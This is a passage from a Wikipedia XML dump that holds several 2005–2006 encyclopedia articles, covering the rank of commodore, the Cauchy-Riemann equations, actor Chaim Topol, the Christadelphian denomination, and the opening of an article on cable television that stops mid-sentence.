The [[Royal Netherlands Navy]] also used the rank of ''[[commandeur]]'' from the end of the [[16th century]] for a variety of temporary positions, until it became a conventional permanent rank in [[1955]]. 
The [[Royal Netherlands Air Force]] has adopted the English spelling of ''commodore'' for an equivalent rank.

The rank of Commodore was at first a position created as a temporary title to be bestowed upon Captains who commanded [[squadron]]s of more than one vessel.  In many navies, the rank of Commodore was merely viewed as a [[Senior Captain]] position, whereas other naval services bestowed upon the rank of Commodore the prestige of [[flag officer]] status.

==Naval rank==

The following articles deal with the rank of Commodore (or its equivalent) as it is employed in various countries.

* [[Commodore (RN)|Commodore]] ([[United Kingdom]] / [[Commonwealth of Nations|Commonwealth]])
* [[Commodore (USN)|Commodore]] ([[United States]])
* [[Kommodore]] ([[Germany]])

==Merchant and boating rank==

Commodore is also a title held by the senior captain within a shipping company. It is also a title held by the senior officer of many yacht clubs and boating associations.

==Other uses==

In the [[Church of Scientology]], &quot;The Commodore&quot; was one of the many titles (and some critics would say, the least grandiose among them) held by the church's founder, [[L. Ron Hubbard]].  As the head of [[Sea Org]], a pseudo naval branch of Scientology, Hubbard awarded himself this title.   In fact, Hubbard never earned an actual rank higher than [[Lieutenant]] in his [[U.S. Navy]] service during [[World War II]].

In the [[United States Coast Guard Auxiliary]], the senior elected officer of the organization is the National Commodore, while there are Commodores elected for the Atlantic and Pacific regions.

[[Vanderbilt University]]'s intercollegiate athletics teams are nicknamed the Commodores, a reference to [[Cornelius Vanderbilt]]'s self-appointed title (he was the master of a large shipping fleet).

==The rank of commodore in fiction==

*In the [[video game]] [[StarCraft]], a [[Terran]] battlecruiser (presumably its commander) holds the rank of commodore.

==See also==
*[[Air Commodore]]
*[[Commodore (Star Trek)]]

==External links==
*[http://www.geocities.com/commentariat/emperor.htm ''The Emperor's New Clothes'']

[[Category:Military ranks]]

[[de:Kommodore]]
[[es:Comodoro]]
[[nl:Commodore (rang)]]
[[ja:代将]]
[[pt:Comodoro]]
[[sv:Kommendörkapten]]</text>
    </revision>
  </page>
  <page>
    <title>Chlorinated fluorocarbons</title>
    <id>7582</id>
    <revision>
      <id>18756821</id>
      <timestamp>2005-07-13T17:47:58Z</timestamp>
      <contributor>
        <username>Irishxpride</username>
        <id>305238</id>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Haloalkane]]</text>
    </revision>
  </page>
  <page>
    <title>Cauchy-Riemann equations</title>
    <id>7583</id>
    <revision>
      <id>39620563</id>
      <timestamp>2006-02-14T18:50:22Z</timestamp>
      <contributor>
        <ip>87.74.10.192</ip>
      </contributor>
      <comment>/* Formulation */</comment>
      <text xml:space="preserve">In [[mathematics]], the '''Cauchy-Riemann differential equations''' in [[complex analysis]], named after [[Augustin Cauchy]] and [[Bernhard Riemann]], are two [[partial differential equation]]s which provide a necessary ''but not necessarily sufficient'' condition for a function to be [[holomorphic function|holomorphic]] (it is a sufficient condition if, for example, the functions ''u'' and ''v'' have continuous partial derivatives). This system of equations was first published in [[1814]] by Cauchy, in his paper ''Sur les intégrales définies''.

==Formulation==

Let ''f''(''x'' + ''iy'') = ''u'' + ''iv'' be a [[function (mathematics)|function]] from an [[open subset]] of the [[complex number]]s '''C''' to '''C''', where ''x'', ''y'', ''u'', and ''v'' are [[real number|real]], and regard ''u'' and ''v'' as [[real number|real]]-valued functions defined on an open subset of '''R'''&lt;sup&gt;2&lt;/sup&gt;. Then ''f'' is holomorphic if and only if ''u'' and ''v'' are continuously differentiable and their partial derivatives satisfy the Cauchy-Riemann equations, which are:

:&lt;math&gt;{ \partial u \over \partial x } = { \partial v \over \partial y}&lt;/math&gt;

and

:&lt;math&gt;{ \partial u \over \partial y } = -{ \partial v \over \partial x}.&lt;/math&gt;

The equations correspond structurally to the condition that the [[Jacobian]] matrix is of the form
:&lt;math&gt;
\begin{pmatrix}
  a &amp;   -b  \\
  b &amp; \;\; a  
\end{pmatrix},
&lt;/math&gt;

the [[Complex_number#Matrix_representation_of_complex_numbers|matrix representation of a complex number]]. Geometrically, this expresses the [[conformal]] nature by a combination of [[rotation]] and [[enlargement]], for any analytic function at a point where its derivative isn't zero. It does so by a first-order picture (small discs are rotated and enlarged to other small approximate discs).

It follows from the equations, if they can be differentiated twice, that ''u'' and ''v'' must be [[harmonic function]]s since they satisfy [[Laplace's equation]]. The equations can therefore be seen as the conditions on a given pair of harmonic functions to come as real and imaginary parts of a complex-analytic function. For a given harmonic function ''u'' a corresponding harmonic function ''v'' is called a [[harmonic conjugate]]. If it exists it is unique up to a constant term.

== Example ==

The equations give a direct insight into [[antiholomorphic function]]s.

Suppose a complex function ''f'' analytic on an open set ''D''. Then ''f'' satisfies Cauchy-Riemann equations; that is, if &lt;math&gt;f(x + iy) = u(x, y) + iv(x, y)&lt;/math&gt;, then:

:&lt;math&gt;{\partial u \over \partial x} = {\partial v \over \partial y}&lt;/math&gt; and &lt;math&gt;{\partial v \over \partial x} = - {\partial u \over \partial y}&lt;/math&gt;.

Now suppose &lt;math&gt;\bar f&lt;/math&gt; is also analytic on ''D''. Then since &lt;math&gt;f(x + iy) = u(x, y) - iv(x, y)&lt;/math&gt;,

:&lt;math&gt;{\partial u \over \partial x} = -{\partial v \over \partial y}&lt;/math&gt; and &lt;math&gt;{\partial v \over \partial x} = {\partial u \over \partial y}&lt;/math&gt;.

Combining this with the early equations, we get:

:&lt;math&gt;{\partial u \over \partial x} = {\partial u \over \partial y} = {\partial v \over \partial x} ={\partial v \over \partial y} = 0&lt;/math&gt;.

This shows that ''f'' is [[locally constant]] on ''D'', and constant if ''D'' is connected.

==Derivation==

Consider a function ''f''(''z'') = ''u''(''x'', ''y'') + i ''v''(''x'', ''y'') over '''C''', and we wish to calculate its derivative at some point, ''z''&lt;sub&gt;0&lt;/sub&gt;. We can essentially approach ''z''&lt;sub&gt;0&lt;/sub&gt; along the real axis towards 0, or down the imaginary axis towards 0.

If we take the first path:

:{|
|-
|&lt;math&gt;f'(z)\,&lt;/math&gt;
|&lt;math&gt;=\lim_{h\rightarrow 0} {f(z+h)-f(z) \over h}&lt;/math&gt;
|-
|
|&lt;math&gt;=\lim_{h\rightarrow 0}{u(x+h,y)+iv(x+h,y)-[u(x,y)+iv(x,y)]\over h}&lt;/math&gt;
|-
|
|&lt;math&gt;=\lim_{h\rightarrow 0}{[u(x+h,y)-u(x,y)]+i[v(x+h,y)-v(x,y)]\over h}&lt;/math&gt;
|-
|
|&lt;math&gt;=\lim_{h\rightarrow 0}{\left[\frac{u(x+h,y)-u(x,y)}{h}+i\frac{v(x+h,y)-v(x,y)}{h}\right]}.&lt;/math&gt;
|}
This is now in the form of two [[difference quotient]]s, so now

:&lt;math&gt;f'(z)={\partial u \over \partial x} + i {\partial v \over \partial x}.&lt;/math&gt;

Taking the second path:

:{|
|-
|&lt;math&gt;f'(z)\,&lt;/math&gt;
|&lt;math&gt;=\lim_{h\rightarrow 0} {f(z+ih)-f(z) \over ih}&lt;/math&gt;
|-
|
|&lt;math&gt;=\lim_{h\rightarrow 0}{u(x,y+h)+iv(x,y+h)-[u(x,y)+iv(x,y)]\over ih}&lt;/math&gt;
|-
|
|&lt;math&gt;=\lim_{h\rightarrow 0}{\left[\frac{u(x,y+h)-u(x,y)}{ih} +i\frac{v(x,y+h)-v(x,y)}{ih}\right]}&lt;/math&gt;
|-
|
|&lt;math&gt;=\lim_{h\rightarrow 0}{\left[-i\frac{u(x,y+h)-u(x,y)}{h}+\frac{v(x,y+h)-v(x,y)}{h}\right]}&lt;/math&gt;
|-
|
|&lt;math&gt;=\lim_{h\rightarrow 0}{\left[\frac{v(x,y+h)-v(x,y)}{h}-i\frac{u(x,y+h)-u(x,y)}{h}\right]}.&lt;/math&gt;
|}
Again, this is now in the form of two [[difference quotient]]s, so

:&lt;math&gt;f'(z)={\partial v \over \partial y} - i {\partial u \over \partial y}.&lt;/math&gt;

Equating these two we get

:&lt;math&gt;{\partial u \over \partial x} + i {\partial v \over \partial x} = {\partial v \over \partial y} - i {\partial u \over \partial y}.&lt;/math&gt;

Equating real and imaginary parts, then

:&lt;math&gt;{\partial u \over \partial x} = {\partial v \over \partial y}&lt;/math&gt;

:&lt;math&gt;{\partial u \over \partial y} = - {\partial v \over \partial x}. \quad\square&lt;/math&gt;

== Alternative formulation ==

Suppose &lt;math&gt;z = x + iy&lt;/math&gt; for real variables ''x'' and ''y''. Then we can write &lt;math&gt;x = (z + \bar z)/2&lt;/math&gt; and &lt;math&gt;y = (z - \bar z)/(2i)&lt;/math&gt;. Now &lt;math&gt;\mathit{x}&lt;/math&gt; and &lt;math&gt;\mathit{y}&lt;/math&gt; can be thought of as ''real'' functions of ''complex'' independent variables &lt;math&gt;\mathit{z}&lt;/math&gt; and &lt;math&gt;\bar z&lt;/math&gt;. Differentiating &lt;math&gt;\mathit{x}&lt;/math&gt; and &lt;math&gt;\mathit{y}&lt;/math&gt; gives:

:&lt;math&gt;{\partial x \over \partial z} = {1 \over 2}\ \mathrm{and}\  {\partial y \over \partial z} = {1 \over 2i}&lt;/math&gt;

as well as

:&lt;math&gt;{\partial x \over \partial \bar z} = {1 \over 2}\ \mathrm{and}\ {\partial y \over \partial \bar z} = -{1 \over 2i}.&lt;/math&gt;

Differentiate a function &lt;math&gt;f (x, y) = u(x, y)+iv(x, y)&lt;/math&gt;:

:&lt;math&gt;{\partial f \over \partial z} = {\partial f \over \partial x}{\partial x \over \partial z} + {\partial f \over \partial y}{\partial y \over \partial z}\ \mathrm{and}\ {\partial f \over \partial \bar z} = {\partial f \over \partial x}{\partial x \over \partial \bar z} + {\partial f \over \partial y}{\partial y \over \partial \bar z}.&lt;/math&gt;

Finally, substitution yields:

:&lt;math&gt;{\partial f \over \partial z} = {1 \over 2}\left({\partial f \over \partial x} + {1 \over i}{\partial f \over \partial y}\right)\ \mathrm{and}\ {\partial f \over \partial \bar z} = {1 \over 2}\left({\partial f \over \partial x} - {1 \over i}{\partial f \over \partial y}\right).&lt;/math&gt;

If we let &lt;math&gt;{\partial f \over \partial \bar z} = 0&lt;/math&gt;, then, since &lt;math&gt;{\partial f \over \partial x} = {\partial u \over \partial x} + i{\partial v \over \partial x}\ \mathrm{and}\ {\partial f \over \partial y} = {\partial u \over \partial y} + i{\partial v \over \partial y}&lt;/math&gt;,

:&lt;math&gt;{\partial u \over \partial x} + i{\partial v \over \partial x} = {1 \over i}\left({\partial u \over \partial y} + i{\partial v \over \partial y}\right).&lt;/math&gt;

This represents Cauchy-Riemann equations.

The relation has this interpretation:  &lt;math&gt;\mathit{x}&lt;/math&gt; and &lt;math&gt;\mathit{y}&lt;/math&gt; must be constant with respect to &lt;math&gt;\bar z&lt;/math&gt;. This expresses the concept that an analytic function is &quot;truly&quot; a function of a single complex variable, rather than of a real vector.

==Polar representation==

Considering the polar representation &lt;math&gt;z=re^{i\theta}&lt;/math&gt;, the equations take the form

:&lt;math&gt;{ \partial u \over \partial r } = {1 \over r}{ \partial v \over \partial \theta},&lt;/math&gt;

:&lt;math&gt;{ \partial v \over \partial r } = -{1 \over r}{ \partial u \over \partial \theta}.&lt;/math&gt;

==Several variables==

There are Cauchy-Riemann equations, appropriately generalized, in the theory of [[several complex variables]]. They form a significant system of overdetermined PDEs. As often formulated, the ''[[d-bar operator]]'' 

:&lt;math&gt;\bar{\partial}&lt;/math&gt;

annihilates holomorphic functions. This generalizes most directly the formulation

:&lt;math&gt;{\partial f \over \partial \bar z} = 0&lt;/math&gt;, 

where

:&lt;math&gt;{\partial f \over \partial \bar z} = {1 \over 2}\left({\partial f \over \partial x} - {1 \over i}{\partial f \over \partial y}\right).&lt;/math&gt;

[[Category:Partial differential equations]]
[[Category:Complex analysis]]
[[Category:Equations]]

[[ca:Equacions de Cauchy-Riemann]]
[[de:Cauchy-Riemannsche partielle Differentialgleichungen]]
[[es:Ecuaciones de Cauchy-Riemann]]
[[fr:Équations de Cauchy-Riemann]]
[[it:Equazioni di Cauchy-Riemann]]
[[he:משוואות קושי-רימן]]
[[fi:Cauchyn–Riemannin yhtälö]]
[[sv:Cauchy–Riemanns ekvationer]]</text>
    </revision>
  </page>
  <page>
    <title>Chaim Topol</title>
    <id>7585</id>
    <revision>
      <id>40362374</id>
      <timestamp>2006-02-20T01:42:04Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
      </contributor>
      <minor />
      <comment>External links per MoS.</comment>
      <text xml:space="preserve">[[Image:Topol.jpg|thumb|Picture from the film &quot;Fiddler on the Roof&quot;.]]
'''Chaim Topol''' (born [[September 9]], [[1935]]), often billed simply as '''Topol''', is one of the most famous [[Israel]]i [[theater|theatrical]] and [[film]] performers.  

== Biography ==
Topol was born in [[Tel Aviv]], [[Israel]].  He first practised acting in amateur theatrical plays that were conducted within the [[Israeli Army]]. Later on he managed to establish his own theatre troupe in [[Tel Aviv]] and in [[1961]] he significantly contributed to the foundation of the Municipal Theatre of [[Haifa]]. 

Despite some criticism that he has received over the years for supposedly using &quot;cute&quot; acting tricks, Topol has managed to retain his stardom and his personal cult following for over three decades.

== Acting career ==

Topol appeared in his first film in [[1964]], and in [[1966]] he made his first English-language screen appearance as [[Abou Ibn Kaqden]] in the big-budget [[Mickey Marcus]] biopic ''[[Cast a Giant Shadow]]''. 

He came to greatest prominence in the role of [[Tevye]] the milkman in the long-running musical show ''[[Fiddler on the Roof]]''. After scoring an enormous success on the [[London]] stage, he later appeared in the [[1971]] film version of the play.  In [[1972]] Topol was nominated for a [[Golden Globe Award]] and a [[Academy Award for Best Actor|Best Actor Oscar]] and for his perfomance in the film.  He was on active service with the [[Israeli army]] at the time, but was granted permission to attend the awards ceremonies.

Some of his other notable appearances were in ''[[Galileo (movie)|Galileo]]'' ([[1975 in film|1975]]), ''[[Flash Gordon]]'' ([[1980 in film|1980]]), and the [[James Bond]] movie ''[[For Your Eyes Only]]'' ([[1981 in film|1981]]). One of Chaim Topol's best known roles in an Israeli production was in the controversial ''[[Sallah Shabbati]]'' by [[Ephraim Kishon]] &amp;mdash; a play, later adapted for film, depicting the hardships of a new [[Sephardi]] Jewish family in Israel of the early [[1950s]]. He has recently starred in ''[[Left Luggage (film|Left Luggage]]'' (1998) playing the role of Mr. Apfelschnitt, and ''[[Time Elevator]]'' (1998) as Shalem.

== Filmography ==

*[[Left Luggage (film)|Left Luggage]] (1998) as Mr. Apfelschnitt.
*[[Time Elevator]] (1998) as Shalem.
*[[War and Remembrance]] (1988) (mini) TV Series as Berel Jastrow.
*Queenie (1987) (TV) as Dimitri Goldner.
*Roman Behemshechim (1985) as Effi Avidar.
*[[The Winds of War]] (1983) (mini) TV Series as Berel Jastrow.
*[[For Your Eyes Only]] (1981) as Milos Columbo.
*[[Flash Gordon (Film)|Flash Gordon]] (1980) as Doctor Hans Zarkov.
*The House on Garibaldi Street (1979) (TV) as Michael.
*Galileo (1975) as Galileo Galilei.
*Follow Me! (1972) as Julian Cristoforou.
*[[Fiddler on the Roof]] (1971) as Tevye.
*The Going Up of David Lev (1971) (TV) as Chaim.
*Ha-Tarnegol (1971).
*Before Winter Comes (1969) as Janovic.
*A Talent for Loving (1969).
*Ervinka (1967) as Ervinka.
*[[Cast a Giant Shadow]] (1966) as Abou Ibn Kader.
*[[Sallah Shabbati]] (1964) as Sallah Shabati.
*El Dorado (1963) as Benny Sherman.
*I Like Mike (1961).

==External links==
*{{imdb name|id=0867694|name=Topol}}

[[Category:1935 births|Topol, Chaim]]
[[Category:Living people|Topol, Chaim]]
[[Category:Best Actor Oscar Nominee|Topol]]
[[Category:Film actors|Topol, Chaim]]
[[Category:James Bond actors|Topol, Chaim]]
[[Category:Musical theatre actors|Topol]]
[[Category:Israeli stage actors|Topol, Chaim]]
[[Category:Israeli film actors|Topol, Chaim]]
[[Category:Israeli musical theatre actors|Topol, Chaim]]

[[de:Chaim Topol]]
[[it:Chaim Topol]]
[[he:חיים טופול]]
[[nl:Chaim Topol]]
[[sv:Chaim Topol]]</text>
    </revision>
  </page>
  <page>
    <title>Christadelphians</title>
    <id>7586</id>
    <revision>
      <id>42142493</id>
      <timestamp>2006-03-04T02:32:41Z</timestamp>
      <contributor>
        <ip>211.31.31.224</ip>
      </contributor>
      <text xml:space="preserve">The '''Christadelphians''' (''Brothers and Sisters in Christ'') are a [[Nontrinitarianism|nontrinitarian]] [[Christian]] [[religious denomination|denomination]], which developed in [[United Kingdom]] and [[North America]] in the [[19th century]]. There are approximately 50 000 Christadelphians in 130 countries.

==Beliefs==

Christadelphians base their beliefs wholly on the [[Bible]], and accept no other texts as inspired by [[God]]. They believe that [[God]] is the creator of all things and the father of true believers. He is a separate being from his son, [[Jesus]] Christ. The [[Holy Spirit]] is not a person, but the power of God used in creation and for [[Salvation#Christian views of salvation|salvation]], and at certain times in history has been given to believers.

Jesus is the promised [[Messiah]], in whom the prophecies and promises of the Old Testament (particularly those to [[Abraham]] and [[David]]) find their fulfilment. Jesus is the [[Son of Man]], in that he inherited [[Sin#Christian views of sin|sin]]-prone human nature from his mother, and [[Son of God]] by virtue of his miraculous conception by the power of God. Although [[Temptation#Christian views of temptation|tempted]], he committed no sin, and was therefore a perfect representative sacrifice to bring salvation to sinful humankind. God raised him to [[immortality]], and he ascended to [[Heaven]], God's dwelling place. Jesus will return in person to establish the kingdom of God on earth, centered in Jerusalem.

People become disciples of Christ only by belief in his teachings, by [[repentance]], and through [[baptism]] by total immersion in water. Although saved by faith in God's grace, real faith will manifest in works, and so believers are expected to live a life consistent with Bible teaching. After death, believers are in a state of non-existence, knowing nothing until the [[Resurrection]] at the return of Christ. Following the judgment at that time, the accepted are given the gift of [[immortality]], and live with Christ on a restored Earth, helping him to establish the Kingdom of God, and to rule over the mortal population for a thousand years (the [[Millennium]]). Christadelphians view the future Kingdom of God as the focal point of the Gospel taught by Jesus and the apostles. They point to fulfilled Bible prophecy, particularly as regards the nations, as clear evidence that the Scriptures can be trusted.

Christadelphians reject a number of doctrines traditionally held by the orthodox Christian denominations, notably the immortality of the [[soul]], the [[Trinity]], and the pre-existence of Christ. They believe that where the words ''[[devil]]'' or ''[[Satan]]'' occur in the Bible, they should be understood as the inherent evil within man (i.e. sin) and his inclination to disobey his Creator. These terms may also be used in reference to specific political systems or individuals in opposition or conflict. [[Hell]], is understood to simply refer to the grave to which all men go, rather than being a place of eternal torment.

Christadelphians believe the doctrines they reject were introduced into Christendom after the 1st century, and cannot be demonstrated from the Bible.

Christadelphians are [[conscientious objectors]] (but not [[pacifists]]), and refrain from involvement with politics, joining the armed forces, the police force, or other organised bodies such as trade unions. There is a strong emphasis on personal Bible reading, bible study, prayer, and morality. Congregational worship, which usually takes place on Sunday, centres on the remembrance of a Jesus Christ in bread and wine.

==History==
There have been small groups of believers down the centuries, and particularly since the Reformation, who held unorthodox views. Groups such as the [[Anabaptist|Anabaptists]], [[Waldensians|Waldenses]], [[Socinianism|Socinians]], Racovians and the [[Polish brethren|Polish Brethren]] shared some or even many beliefs  held by Christadelphians. 
[[Isaac Newton]], [[Joseph Priestley]], [[John Locke]], [[William Tyndale]] all appear to have held beliefs close to those of Christadelphians on the unity of God, the mortality of man and the role of the Jews in God's purpose.

From the mid-19th century, there were groups in many parts of the United Kingdom and North America which held to the beliefs outlined above, and who were loosely associated with one another. Of particular significance was the publication in 1849 of [[John Thomas (Christadelphian)|John Thomas]] work, ''Elpis Israel'' in which he laid out his understanding of the main doctrines of the Bible. Groups associated with him met under various names, including ''Believers, Baptised Believers, the Royal Association of Believers, Baptised Believers in the Kingdom of God'', until the  time of the [[American Civil War]]. At that time, church affiliation was required to register for conscientious objector status and in 1865 Thomas chose for registration purposes the word ''Christadelphian'', which was already in use by some members of congregations holding these beliefs. It is derived from the Greek for &quot;Brothers and sisters in Christ&quot;. 

In the nineteenth century Christadelphian meetings sprang up rapidly in the United Kingdom, America and throughout the English-speaking world. From the early days of Christadelphians, many have simply read the Bible for themselves, and discovered its truth independently. They have then come into contact with Christadelphians, and joined them.

Christadelphians suffered three divisions early on in their history when three groups separated from the main body. A number left in 1873 and eventually became known as the ''[[Nazarene fellowship]]'', a separate religious denomination still in existence. In 1884-5 a dispute arose concerning the inspiration of the Bible. Robert Ashcroft, a leading member, wrote an article which challenged commonly held views about inspiration. In the controversy which followed, the Birmingham ecclesia withdrew fellowship from Ashcroft. Some members, while not agreeing with Ashcroft's views on inspiration, did not approve of Birmingham's handling of the matter. This group eventually left the Birmingham ecclesia and formed a new ecclesia which became known as the Suffolk Street ecclesia. The ecclesias throughout the world which supported them became known as the ''Suffolk Street fellowship''.

The third division occurred in 1898 centered on whether the Judgement at the return of Christ would be limited to baptised believers, or would apply to all who had heard the Gospel message. The majority, who held the latter view, amended their Statement of Faith to clarify this. Those not accepting the amendment became the ''Unamended fellowship''. 

The group from which the Unamended and Suffolk Street fellowships had seceded became generally known as the ''Temperance Hall fellowship''. It underwent a further schism in 1923 over military service and other issues. This resulted in the formation of the ''Berean fellowship''. The Bereans subsequently divided over divorce and remarriage, with the majority becoming known as the ''Dawn fellowship''.

In the early 1950s members of the Berean fellowship re-joined the Temperance Hall fellowship, though not all Bereans agreed with this move.  In 1957-8, there was further reunion with the Suffolk Street fellowship, which had already incorporated many of the Unamended fellowship outside North America. This re-united group, which now included the large majority of Christadelphians, became known as the ''Central fellowship''. 

Some Christadelphians did not accept this reunion since they held that the reasons for separation remained. They formed the ''Old Paths Fellowship''.

Despite periodic efforts at union the Central and Unamended fellowships in North America remain divided. The Berean, Dawn and Old Paths fellowships also continue to the present day.

Christadelphians from different fellowships do communicate with one another over various issues, use some of each others' publications and there are usually continuing attempts to resolve areas of disagreement.

The name Christadelphians is a generic title describing a group of people who share similar origins, but as history shows have quite a diverse history. For more information about individual fellowships readers are recommended to read the relevant Wikipedia entry.

==Organisation==

Christadelphians usually call their congregations ''ecclesias''. There is no central Christadelphian organization or hierarchy.  Ecclesias are autonomous to a degree and co-operation between most of them is based on a common acceptance of the Birmingham Amended Statement of Faith [http://www.christadelphia.org/basf.htm]. The Unamended fellowship use the Unamended Statement of Faith [http://www.texas-christadelphians.org/00_tuc.asp?nav=nav_main&amp;page=doct_stmt_faith]. Anyone who publicly assents to the doctrines described in this statement and is in good standing in their &quot;home ecclesia&quot; is generally welcome to participate in the activities of any other ecclesia. 

Christadelphians do not have paid [[minister of religion|ministers]]. Most male members are eligible to teach and perform other duties, and these are usually assigned on a rotation, rather than having a designated preacher. Governance follows a [[democracy|democratic]] model, typically with an elected arranging committee for each individual ecclesia. This unpaid committee is responsible for the day-to-day running of the ecclesia and is answerable to the rest of the ecclesia's members.

Christadelphians, based on their understanding of the Bible, make a distinction between the roles of male and female members. Women are not eligible to teach in formal gatherings of the ecclesia when male believers are present, and do not sit on ecclesial arranging committees. They do, however, participate in other ecclesial and inter-ecclesial committees (for example, for youth work, evangelism, welfare). Women also participate in discussions, teach children, perform music, discuss and vote on business matters, preach, teach unbelievers, and engage in most other activities.

Christadelphian ecclesias actively preach to their neighbours and co-operate at a regional, national, and international level in proselytizing. There are also ecclesially-accountable committees for youth and Sunday School work, military service issues, care of the elderly, and humanitarian work. These do not have any legislative authority, and are wholly dependent upon ecclesial support. Ecclesias in an area may regularly hold joint activities combining youth groups, fellowship, preaching, and Bible study.

==Further reading==

* Peter Hemingray, ''John Thomas, His Friends and His Faith'' (2003: ISBN Number 81-7887-012-6)
* Charles H. Lippy, ''The Christadelphians in North America'' (Lewiston/Queenston: Edwin Mellen Press, 1989).
* Bryan R. Wilson, ''Sects and Society: A Sociological Study of the Elim Tabernacle, Christian Science and Christadelphians'' (London: Heinemann, 1961; Berkeley/Los Angeles: University of California Press, 1961).

==External links==

===Christadelphian Websites===
*[http://www.thisisyourbible.com/ This is your Bible] information about what Christadelphians believe
*[http://www.thechristadelphians.org The Christadelphians.org] Amended/Central Beliefs, Books, Articles, Talks and links to other Christadelphian Amended/Central websites 
*[http://www.dawnchristadelphians.org The Dawn Christadelphians] Information about the Dawn Christadelphians, their beliefs, where they meet and links  
*[http://www.gospeltruth.info Old Paths Christadelphians]
*[http://www.christadelphians.org.nz Lightstand Christadelphians] and links to other Lightstand websites
*[http://www.bereans.org The Berean Christadelphians] including links to other Berean meetings
*[http://www.christadelphian-advocate.org The Christadelphian Advocate] Unamended Christadelphian periodical (site includes information about the Unamended group

===Forums relevant to Christadelphians===   

*[http://www.thechristadelphians.org/forums BTDF]- for Christadelphians, former Christadelphians, Christians, and other groups to meet and to discuss the practical application of their belief.
*[http://groups.msn.com/TruthAlive Truth Alive] - for former Christadelphians to meet together with Christadelphians to discuss the practical application of their faith.
*[http://bibletruthalive.org Bible Truth Alive] - a place for Christadelpians to discuss freely their faith and its practical applications.

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[[Category:New religious movements]]
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    <title>Cable television</title>
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      <text xml:space="preserve">:''[[Cable TV]] redirects here. For the Hong Kong-based cable television network, see [[Cable TV Hong Kong]].''
[[Image:RG-59.jpg|thumb|right|[[Coaxial cable]] is often used to transmit '''cable television''' into the house]]

'''Cable television''' or '''Community Antenna Television''' ('''CATV''') (often shortened to '''cable''') is a system of providing [[television]], [[FM radio]] programming and other services to consumers via radio frequency signals transmitted directly to people’s televisions through fixed [[optical fiber]]s or [[coaxial cable]]s as opposed to the over-the-air method used in traditional television broadcasting (via radio waves) in which a television antenna is required. 

It is most commonplace in [[Canada]], the [[United States]],  [[Europe]], [[Australia]] and [[East Asia]], though it is present in many other countries, mainly in [[South America]] and the [[Middle East]]. In [[Africa]], cable TV has had little success, as it is not cost-effective to lay cables in sparsely populated areas, and although so-called &quot;wireless cable&quot; or [[MMDS|microwave]]-based systems are used, &quot;direct-to-home&quot; satellite television is far more popular, especially in [[South Africa]].   

Technically, both cable TV and CATV involve distributing a number of [[television]] [[Television network|channels]] collected at a central location (called a [[Cable television headend|headend]]) to [[subscriber]]s within a community by means of a network of [[optical fiber]]s and/or [[coaxial cable]]s and [[broadband]] [[amplifier]]s.

As in the case of radio broadcasting, the use of different frequencies allows many channels to be distributed through the same cable, without separate wires for each. The [[tuner]] of the TV, [[VCR]] or radio selects one channel from this mixed signal.

The same program is often simultaneously broadcast by radio and distributed by cable, usually at different frequencies. Other programs may be distributed by cable only; rules restricting content (e.g. regarding [[nudity]] and [[pornography]]) are often more relaxed for cable than for over-the-air TV.

Traditional cable TV systems worked strictly by way of [[analog signal|analog]] signals (i.e. using standard radio waves) but many modern cable TV systems also employ the use of [[digital cable]] technology, which uses compressed digital signals, allowing them to provide many more channels than they could with analog alone.

Many cable television systems were formerly known as CATV (Community Antenna Television) systems as they were originally composed simply of a shared antenna located in a high location to which multiple households could have their TVs connected via coaxial cable. This was designed to provide access to television signals in areas where reception was traditionally poor. As cable-only networks began to appear on CATV systems, picked up via satellite rather than by antenna, the use of the term CATV has largely faded and the term cable television has taken its place.

== History  of U.S. cable television and its regulation ==
During the television licensing freeze of the late [[1940s]], the demand for television increased. Since new television licenses were not being issued, the only way the demand was met was by Community Antenna Television. The first commercial CATV System was developed in [[1948]] by [[John Walson]]. He had interest in an appliance store that began to carry televisions. A major problem in selling televisions in [[Mahanoy City, Pennsylvania]] was that the stations which were available were received very poorly.  Walson built an antenna on the top of a nearby mountain and strung a wire from it to his shop. A neighbor asked for the wire to be connected to his house and Walson connected it to his own house. He said he would extend the wire to anyone who would buy one of his television receivers, and in [[1949]] he started charging for the service. visit; http://www.cablecenter.org/education/library/oralHistoryDetails.cfm?id=270

Another system in Mahanoy City was founded by [[Jerrold Electronics]] Corp. which served the other side of town. Both were originally three-channel systems and were upgraded to five. Other systems were built: some conceived the idea independently, others didn't, and others laid claim to the title of first.

On [[August 1]], [[1949]] [[T.J. Slowie]], a secretary of the [[Federal Communications Commission]], sent a letter to a CATV pioneer in [[Astoria, Oregon]], [[L.E. Parsons]], requesting he &quot;furnish the Commission full information with respect to the nature of the system you may have developed and may be operating.&quot; He did. This is the first known involvement of the FCC in CATV. An FCC lawyer, [[E. Stratford Smith]], determined the Commission could exercise [[common carrier]] jurisdiction over CATV. The FCC didn't act on this opinion and Smith later changed his mind after working in the cable industry for some time and testifying in [[United States Senate|Senate]] committee hearings. Senator and future Federal Communications Commissioner [[Kenneth A. Cox]] attended and participated in these hearings. He prepared a report entitled the [[Cox Report]] for the Senate Committee on Interstate and Foreign Commerce. This report was against CATV and supported the FCC policy of a television station in every community.

In [[1959]] and [[1961]] bills were introduced in [[Congress of the United States|Congress]] that would have determined the role of the FCC in CATV policy. The 1959 bill, which actually made it to the floor of the Senate, would have limited FCC jurisdiction to CATV systems within the contours, i.e. the broadcast range, of a single station. It was defeated. The 1961 bill proposed by the FCC would have given the Commission authority over CATV as CATV, and not as a common carrier or broadcaster. The Commission could then adopt rules and regulations &quot;in the public interest&quot; to govern CATV in any area covered both by CATV and broadcast television. No action was ever taken on this bill.

More important than Congressional action in determining Federal Communications Commission CATV policy were court cases and FCC hearings. ''[[Frontier Broadcasting Co. v. Collier]]'' was a hearing in which broadcasters tried to get the FCC to exercise common carrier authority over 288 CATV systems in 36 states. The broadcasters maintained that CATV went against the FCC's Sixth Report and Order, which advocated at least one television station in every community. In [[1958]], the FCC decided that CATV was not really a common carrier since the subscriber did not determine the programming. [[Carter Mountain Transmission]] Corp., a common carrier that already transmitted television signals by microwave to CATV systems in several Wyoming towns, wanted to add a second signal to two of the towns and add two signals to a previously unserved town. A television station in one town opposed this and protested to the FCC on the grounds of economic damage. A hearing examiner supported Carter Mountain but the Commission supported the television station. The case was taken to appeal, as most are, and the Federal Communications Commission won. &quot;The fact that no broadcaster has actually gone off the air due to CATV competition at the time the government moved to expand its authority (nor have any since) did not stay the momentum for the expansion of regulatory authority. That some economic impact was merely plausible sufficed as the basis for government concern and government action.&quot; The FCC overruled a hearing examiner in favor of broadcasters again in the &quot;San Diego Case&quot;. The CATV systems in [[San Diego, California]] wanted to import stations from 